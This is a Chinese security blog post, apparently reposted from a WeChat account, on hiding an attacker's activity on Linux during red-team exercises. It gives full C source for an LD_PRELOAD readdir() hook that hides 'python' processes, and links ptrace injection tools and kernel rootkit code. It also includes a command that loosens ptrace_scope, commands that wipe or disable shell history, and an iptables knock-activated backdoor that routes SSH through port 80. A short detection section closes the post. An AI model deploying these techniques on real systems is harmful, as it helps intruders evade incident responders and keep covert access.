Linux下的进程隐藏

admin 2024年6月20日17:12:36评论8 views字数 9573阅读31分54秒阅读模式

序言:

前几天笔者和一位朋友聊天(被他拷打),最近因为护网即将到来很多朋友都在聊一些护网当中的问题,当时正好就这个话题聊了一下。笔者的朋友:‘我作为攻击方既然明知道防守方在应急的时候会查文件查进程查历史命令那么我为什么不去隐藏进程呢?’ 带着对这个问题的思考也是顺势引出了这篇文章。

隐藏进程(重头戏)

前置知识

LD_PRELOAD

LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。程序的链接主要有以下三种:

链接

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

    对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致一些非预期的执行结果或者绕过某些安全设置。

    静态链接库,在Linux下文件名后缀为 .a,如 libstdc++.a。在编译链接时直接将目标代码加入可执行程序。

    动态链接库,在Linux下是 .so 文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象。

用户层 --> 进程隐藏

目的:让 ps, top 之类的命令无法查到相关进程 我们通常查看进程都是通过 ps 命令看的,或者当机器指标异常的时候,我们通常用 top 命令查看系统的进程情况,那么如果我们使这两个程序“看不到”我们想要隐藏的进程的话,不就完成了进程隐藏的功能了吗?要实现这两个命令看不到我们的“隐藏进程”,那么还得回到这两个进程的原理上,它们的源码分别在:

  • ps:https://gitlab.com/procps-ng/procps/-/tree/master/src/ps

  • top:https://gitlab.com/procps-ng/procps/-/tree/master/src/top

隐藏 /proc/PID

/proc 是一个 伪文件系统,只存在在内核中,不占用外存空间,以文件系统的方式为访问系统内核数据的操作提供接口,而在 /proc 中,每一个进程都有一个相应的文件,以 PID 命名。而 ps, top 等命令都是针对 /proc 下的文件夹做查询从而输出结果,因此,只需要隐藏进程对应的文件,即可达到隐藏进程的目的。

劫持lib库(LD_PRELOAD 攻击)

 LD_PRELOAD攻击思路

  1. exportLD_PRELOAD=/path/xxx.so设置优先加载的 动态链接库

  2. 将 动态链接库写入配置文档 /etc/ld.so.preload

  3. 修改 动态链接器(文件名不一定) LD_PRELOAD 设置了这个环境变量后,linux 会优先加载这个环境变量下的动态链接库程序。所以我们只需要编写一个 so 文件添加到这个环境变量下即可,相当于一个变向的 HOOK。而 top/ps 所用的函数是 readdir,只要重新实现这个函数或者套一个 “壳”,并且过滤掉我们的进程名即可。这里我们直接使用⑨BIE大佬写好的代码

  1. #include<stdio.h>

  2. #include<dlfcn.h>

  3. #include<string.h>

  4. #define __libc_lock_define(CLASS,NAME)

  5. #define PROC_NAME_LINE 1

  6. typedefintbool;

  7. #define TRUE 1

  8. #define FALSE 0

  9. #definetrue1

  10. #definefalse0

  11. #define BUFF_LEN 1024//行缓冲区的长度

  12. struct __dirstream

  13. {

  14. void*__fd;/* `struct hurd_fd' pointer for descriptor. */

  15. char*__data;/* Directory block. */

  16. int __entry_data;/* Entry number `__data' corresponds to. */

  17. char*__ptr;/* Current pointer into the block. */

  18. int __entry_ptr;/* Entry number `__ptr' corresponds to. */

  19. size_t __allocation;/* Space allocated for the block. */

  20. size_t __size;/* Total valid data in the block. */

  21. __libc_lock_define (, __lock)/* Mutex lock for this structure. */

  22. };

  23. struct __dirent

  24. {

  25. long d_ino;/* inode number 索引节点号 */

  26. off_t d_off;/* offset to this dirent 在目录文件中的偏移 */

  27. unsignedshort d_reclen;/* length of this d_name 文件名长 */

  28. unsignedchar d_type;/* the type of d_name 文件类型 */

  29. char d_name [255];/* file name (null-terminated) 文件名,最长255字符 */

  30. };

  31. typedefstruct __dirstream DIR;

  32. typedefstruct __dirent dirent;

  33. staticvoid*findSymbol(constchar*path,constchar*symbol){

  34. void*handle = dlopen(path, RTLD_LAZY);

  35. if(!handle){

  36. //LOGE("handle %s is null", path);

  37. return NULL;

  38. }

  39. //Cydia::MSHookFunction(void *,void *,void **)

  40. void*target = dlsym(handle, symbol);

  41. if(!target){

  42. //LOGE("symbol %s is null", symbol);

  43. }

  44. return target;

  45. }

  46. bool read_line(FILE* fp,char* buff,int b_l,int l)

  47. {

  48. if(!fp)returnfalse;

  49. char line_buff[b_l];

  50. int i;

  51. //读取指定行的前l-1行,转到指定行

  52. for(i =0; i < l-1; i++)

  53. {

  54. if(!fgets (line_buff,sizeof(line_buff), fp))

  55. {

  56. returnfalse;

  57. }

  58. }

  59. //读取指定行

  60. if(!fgets (line_buff,sizeof(line_buff), fp))

  61. {

  62. returnfalse;

  63. }

  64. memcpy(buff,line_buff,b_l);

  65. returntrue;

  66. }

  67. dirent* readdir(DIR* dir_handle){

  68. void*target = findSymbol("/lib/x86_64-linux-gnu/libc.so.6","readdir");

  69. typedef dirent*(*FUNCTYPE)(DIR*);

  70. FUNCTYPE raw = target;

  71. struct __dirent *ptr;

  72. while((ptr=raw(dir_handle)))

  73. {

  74. if(ptr->d_name[0]>'0'&& ptr->d_name[0]<='9'){

  75. FILE* fp = NULL;

  76. char file[512]={0};

  77. char line_buff[BUFF_LEN]={0};//读取行的缓冲区

  78. sprintf(file,"/proc/%s/status",ptr->d_name);

  79. if((fp = fopen(file,"r")))

  80. {

  81. char blackdoor[32];

  82. char pname[32];

  83. if(read_line(fp,line_buff,BUFF_LEN,PROC_NAME_LINE))

  84. {

  85. sscanf(line_buff,"%s %s",blackdoor,pname);

  86. if(strstr(pname,"python")!=NULL)continue;

  87. }

  88. }

  89. }

  90. if(strcmp(ptr->d_name,"python")!=0)return ptr;

  91. }

  92. return NULL;

  93. }

操作流程

  1. gcc -shared faddr.c -fPIC -o faddr.so -ldl #编译代码

  2. export LD_PRELOAD=我们的恶意so地址

Linux下的进程隐藏

根据上面的图片我们可以看到我们更改了 kali环境变量之后我们的 python 进程被隐藏了,但事实上我们通过 root 用户权限可以看到进程是存在的!

这里简单说一下原理:编写一个非常简单的自定义库来覆盖 libc 的 readdir()

每次我看到 /proc/PID 目录(其中 PID 是名为“python”的进程的 PID)被读取时,我都会以干净的方式阻止该访问方式,从而隐藏整个目录 

这里其实我更推荐搭建使用 github 上面的工具 https://github.com/gianlucaborello/libprocesshider 

原理都一样只不过这个工具是过滤了 evilscript 这个字段,可以根据自己的需求选择性的过滤字段,比如说过滤带有 vir开头的进程或者文件等等 

这个方式的缺点就是十分容易被发现,一检查环境变量你的动态链接库瞬间无处遁行。(可以通过 unset LD_PRELOAD 来去掉这个环境变量,恢复正常的 动态链接库 顺序)

So注入

原理步骤:

1、注入器(injector)使用ptrace挂载目标进程
2、注入器注入加载器(loader)到目标进程
3、加载器被触发进行so库注入
4、目标进程初始状态还原和卸载ptrace 

首先需要使用ptrace挂载目标进程。我们的目标是在待注入目标进程调用加载外部的(恶意)so库,这需要我们去修改目标进程的内存空间,使其能够去执行加载恶意so库的libc api;而一般情况下一个进程是无法修改另一个毫不相干的进程内存写入数据的。ptrace的作用这时就体现了出来。ptrace是linux上一个调试专用的系统调用,类似gdb、strace等跟踪调试工具基本都使用到了ptrace,它的功能是通过挂载(attach)指定进程让其成为当前进程的子进程,linux下父进程可以修改子进程的内存空间,ptrace就是利用这一点,让被挂载进程的内存空间可以被修改。

这里我们使用 github 上面的现成工具 https://github.com/gaffe23/linux-inject 这里注意用这个工具复现踩的坑,复现环境建议使用 Ubuntu 16.04

Linux下的进程隐藏

这些都是什么意思呢,注入sample-library.so到一个进程中,进程是通过-n name指定的sample-target。如果你需要注入到指定PID的进程,你可以使用-p PID的方式。但这有可能无法工作,因为Linux3.4中有一个名为 Yama 的安全模块可以禁用 ptrace-based代码注入(或者是在代码注入期间有其他的拦截方式)。

  1. echo 0| sudo tee /proc/sys/kernel/yama/ptrace_scope # 允许任何进程注入代码到相同用户启动的进程中,root用户可以注入所有进程echo 2 | sudo tee /proc/sys/kernel/yama/ptrace_scope # 只允许root用户注入代码

这里再多介绍一个工具 https://github.com/DavidBuchanan314/dlinject 因为现在存在多种反 ptrace 技术,这个工具不需要使用 ptrace 即可规避这些技术。so 注入的详细原理因为涉及到甚多二进制的内容笔者这里能力有限暂时没办法给大家说明白说透,这里给大家推荐一篇文章有能力并且感兴趣的师傅们可以参考 https://github.com/jmpews/pwn2exploit/blob/master/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5.md

内核层面 --> 进程/文件隐藏

rookit

隐藏文件

我们这里也是直接用的大佬的代码 https://github.com/xcellerator/linuxkernelhacking/blob/master/3RootkitTechniques/3.4hidingdirectories/rootkit.c 

Linux下的进程隐藏

隐藏进程

我们还是用到上面大佬的代码。只不过这次换成了隐藏进程 

Linux下的进程隐藏

Linux下的进程隐藏

Linux下的进程隐藏

我们打开 python 然后 ps -ef 查看进程发现进程是 2806 然后我们加载 rootkit. ko 并且执行隐藏进程的命令可以发现进程 2806 被成功隐藏了

这里简单说一下原理

实现隐藏进程一般有两个方法:

1,把要隐藏的进程PID设置为0,因为系统默认是不显示PID为0的进程。

2,修改系统调用sysgetdents()。     

Linux系统中用来查询文件信息的系统调用是sysgetdents,这一点可以通过strace来观察到,例如strace ls 将列出命令ls用到的系统调用,从中可以发现ls是通过getdents系统调用来操作的,对应于内核里的sysgetedents来执行。当查询文件或者目录的相关信息时,Linux系统用 sysgetedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信 息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。

隐藏文件/命令/端口

隐藏文件

我们通常创建文件都会使用 touch 命令,那么我们最简单的方式只需要在我们需要创建的文件的前面加上一个点 . 就可以隐藏文件了 并且通过这种方式隐藏的文件我们使用常规的 ls -l 命令是没办法查看到的,不过我们使用 ls -liah 就可以查看到了 通过下图的对比我们可以看到 test 2. txt 文件被成功隐藏了,并且 ls -l 并没有发现

Linux下的进程隐藏

隐藏命令

查看历史操作命令:history

方法一

通过在执行的命令前面加空格的方式隐藏 

是的,没看错。在命令前面插入空格,这条命令会被 shell 忽略,也就意味着它不会出现在历史记录中。但是这种方法有个前提,只有在你的环境变量 HISTCONTROL 设置为 "ignorespace" 或者 "ignoreboth" 才会起作用。在大多数情况下,这个是默认值。

Linux下的进程隐藏

方法二

(1)禁用当前会话的所有历史记录 如果你想禁用某个会话所有历史,你可以在开始命令行工作前简单地清除环境变量 HISTSIZE 的值即可。执行下面的命令来清除其值: exportHISTSIZE=0 

HISTSIZE 表示对于 bash 会话其历史列表中可以保存命令的个数(行数)。默认情况,它设置了一个非零值,例如在我的电脑上,它的值为 1000。所以上面所提到的命令将其值设置为 0,结果就是直到你关闭终端,没有东西会存储在历史记录中。记住同样你也不能通过按向上的箭头按键或运行 history 命令来看到之前执行的命令。

通过修改配置文件/etc/profile,使系统不再保存命令记录。 HISTSIZE=0 

为了防止历史命令被保存,您也可以将其发送到/dev/null。 HISTFILE=/dev/null

(2)登录后执行下面命令, 不记录历史命令 (. bash_history) unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;exportHISTFILE=/dev/null;exportHISTSIZE=0;exportHISTFILESIZE=0

方法三

(1)清空当前会话的命令历史 history-cw 

(2)编辑 history 记录文件,删除部分不想被保存的历史命令。 vim~/.bash_history

方法四

vim 特性利用

  1. :set history=0# 设置vim不记录命令,vim会将命令历史记录,保存在viminfo文件中

  2. vsp ~/.bash_history # 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令

  3. :set history=0# vim中执行不想让其他人看到的命令

  4. :!command

隐藏端口

利用 IPTables 进行端口复用

  1. # 端口复用链

  2. iptables -t nat -N LETMEIN

  3. # 端口复用规则

  4. iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

  5. # 开启开关

  6. iptables -A INPUT -p tcp -m string --string 'threathuntercoming'--algo bm -m recent --set--name letmein --rsource -j ACCEPT

  7. # 关闭开关

  8. iptables -A INPUT -p tcp -m string --string 'threathunterleaving'--algo bm -m recent --name letmein --remove -j ACCEPT

  9. # let's do it

  10. iptables -t nat -A PREROUTING -p tcp --dport 80--syn -m recent --rcheck --seconds 3600--name letmein --rsource -j LETMEIN

利用方式

  1. #开启复用

  2. echo threathuntercoming | socat - tcp:192.168.28.128:80

  3. #ssh使用80端口进行登录

  4. ssh -p 80 root@192.168.28.128

  5. #关闭复用

  6. echo threathunterleaving | socat - tcp:192.168.28.128:80

查看方法

那么问题又来了既然作为防守方我知道你可能会隐藏进程那么我应该怎么检查呢?

  • 不使用动态链接库,使用静态编译的 ps 或者 top 之类的程序来查看,因为这里只是替换了动态链接库,静态链接的不会受到影响;

  • 查找异常的网络连接,一般来说隐藏的进程都会有它的目的,但是光本地跑程序没有太大意思(除非目的就是你的机器),所以一般都会有网络连接,可以通过排查异常的网络连找到“不存在”的进程;

  • 检查 /etc/ld.so.preload 等文件;

  • 因为进程还在内核链表中, 可以通过 pid 找到 task_struct .

  1. 第一步:读/proc/pid 目录,收集系统所有进程

  2. 第二步:0 pid_max 进程发送任意信号,信号发送成功,表示进程存在,从而收集系统所有进程

  3. for(pid=0; pid<PID_MAX; pid++)

  4. kill -20 pid

  5. 第三步:对比第一步和第二步收集进程的差异,即可确认隐藏进程(要排除已经退出的进程)

  • 因为在链表中找不到,所以不能通过PID找到taskstruct.这里可以基于taskstrcut的特征,在内存中查找task_struct结构体

结语

不论是 linux 的进程注入还是内核层面的 rootkit 都涉及到了很多二进制等底层内容笔者也是查阅了很多文章大佬们讲的都很好!但是笔者暂时还没有能力去深挖原理只能当一个脚本小子给大家蜻蜓点水般带过,这里也算是给自己埋下的一个坑吧,后续笔者会继续学习希望下次再写类似内容的时候可以给大家把原理讲明白逻辑理清楚!

参考文章地址

如有侵权请联系我删除引用内容,在此不胜感激各位前辈的研究!

  • https://l0n9w4y.cc/posts/50666/#0x02-%E6%B8%85%E9%99%A4%E5%8E%86%E5%8F%B2%E5%91%BD%E4%BB%A4

  • https://www.linuxprobe.com/hidden-cmd-history.html

  • https://github.com/g0dA/linuxStack/blob/master/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%E6%8A%80%E6%9C%AF%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2-%E6%94%BB%E7%AF%87.md

  • https://forum.butian.net/share/1493

  • https://9bie.org/index.php/archives/354/

  • https://9bie.org/index.php/archives/822/

  • https://9bie.org/index.php/archives/847/

  • https://xz.aliyun.com/t/11536?time__1311=mqmx0DBD2GG%3DY40vofDy0iKD%3DGOFke14D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-0

  • https://liqiang.io/post/how-to-hide-a-linux-process

  • https://mp.weixin.qq.com/s?_biz=MzA3NzE2MjgwMg==&mid=2448904250&idx=1&sn=cce745079e51ab4bb013de00c2125bf0&chksm=8b55c067bc22497125d4bd5f7a03e46c214d5db11e5bbdbb8422c92cbcf85e3653def6bab6c5&mpshare=1&scene=23&srcid=&sharersharetime=1567400113462&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd

  • https://driverxdw.github.io/2020/07/06/Linux-ptrace-so%E5%BA%93%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/

  • https://github.com/jmpews/pwn2exploit/blob/master/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5.md

  • https://driverxdw.github.io/2020/07/06/Linux-ptrace-so%E5%BA%93%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/

  • https://www.anquanke.com/post/id/83423/

  • https://blog.csdn.net/q759451733/article/details/124213552

  • https://blog.csdn.net/bin_linux96/article/details/105889045

原文始发于微信公众号(YNsec安全实验室):Linux下的进程隐藏

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月20日17:12:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux下的进程隐藏https://cn-sec.com/archives/2867022.html

发表评论

匿名网友 填写信息